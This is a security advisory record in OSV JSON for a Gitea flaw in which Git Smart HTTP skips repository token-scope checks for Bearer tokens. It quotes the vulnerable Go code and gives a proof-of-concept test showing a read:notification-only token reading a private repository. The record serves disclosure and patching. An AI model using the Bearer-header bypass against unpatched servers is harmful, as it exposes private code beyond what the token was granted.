CVE-2026-28744: Gitea Git Smart HTTP Skips Repository Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cc8w-r4qh-3v65",
  "modified" : "2026-06-16T23:38:12Z",
  "published" : "2026-06-16T23:38:12Z",
  "aliases" : [ "CVE-2026-28744" ],
  "summary" : "Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens",
  "details" : "### Summary\nGitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer <token>` bypasses the scope check entirely.\n\nAs a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`.\n\n### Details\nGit Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:\n\n```go\n// routers/web/web.go\naddOwnerRepoGitHTTPRouters(\n\tm,\n\trepo.HTTPGitEnabledHandler,\n\twebAuth.AllowBasic,\n\twebAuth.AllowOAuth2,\n\trepo.CorsHandler(),\n\toptSignInFromAnyOrigin,\n\tcontext.UserAssignmentWeb(),\n)\n```\n\nThe Git HTTP authorization path calls `CheckRepoScopedToken()` before falling through to normal repository RBAC:\n\n```go\n// routers/web/repo/githttp.go\nif askAuth {\n\tif !ctx.IsSigned {\n\t\tctx.HTTPError(http.StatusUnauthorized)\n\t\treturn nil\n\t}\n\n\tcontext.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))\n\tif ctx.Written() {\n\t\treturn nil\n\t}\n\n\t// normal repository RBAC follows\n}\n```\n\nHowever, `CheckRepoScopedToken()` only enforces token scopes for Basic-authenticated requests:\n\n```go\n// services/context/permission.go\nfunc CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {\n\tif !ctx.IsBasicAuth || ctx.Data[\"IsApiToken\"] != true {\n\t\treturn\n\t}\n\n\tscope, ok := ctx.Data[\"ApiTokenScope\"].(auth_model.AccessTokenScope)\n\tif ok {\n\t\trequiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)\n\t\t// public-only and required repository scope checks follow\n\t}\n}\n```\n\nThe Bearer/OAuth2 auth path still records the token scope:\n\n```go\n// services/auth/oauth2.go\naccessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)\nif uid != 0 {\n\tstore.GetData()[\"IsApiToken\"] = true\n\tstore.GetData()[\"ApiTokenScope\"] = accessTokenScope\n}\n```\n\nBearer PATs also set `IsApiToken=true` and `ApiTokenScope`, but `ctx.IsBasicAuth` remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.\n\n### PoC\nThis test creates a token for `user2` with only `read:notification`, then requests Git Smart HTTP refs for `user2/repo2`, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.\n\n```go\nfunc TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\trepo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: \"user2\", Name: \"repo2\"})\n\tassert.True(t, repo.IsPrivate)\n\n\tsession := loginUser(t, \"user2\")\n\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)\n\turl := \"/user2/repo2/info/refs?service=git-upload-pack\"\n\n\tbasicReq := NewRequest(t, \"GET\", url)\n\tbasicReq.SetBasicAuth(token, \"x-oauth-basic\")\n\tMakeRequest(t, basicReq, http.StatusForbidden)\n\n\tbearerReq := NewRequest(t, \"GET\", url).AddTokenAuth(token)\n\tresp := MakeRequest(t, bearerReq, http.StatusOK)\n\tassert.Contains(t, resp.Body.String(), \"refs/heads/master\")\n}\n```\n\n### Impact\nAny Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.\n\nThe vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as `read:notification`, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because `git-receive-pack` also calls the same repository scope check before normal write RBAC.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.26.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.26.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-cc8w-r4qh-3v65"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T23:38:12Z",
    "nvd_published_at" : null
  }
}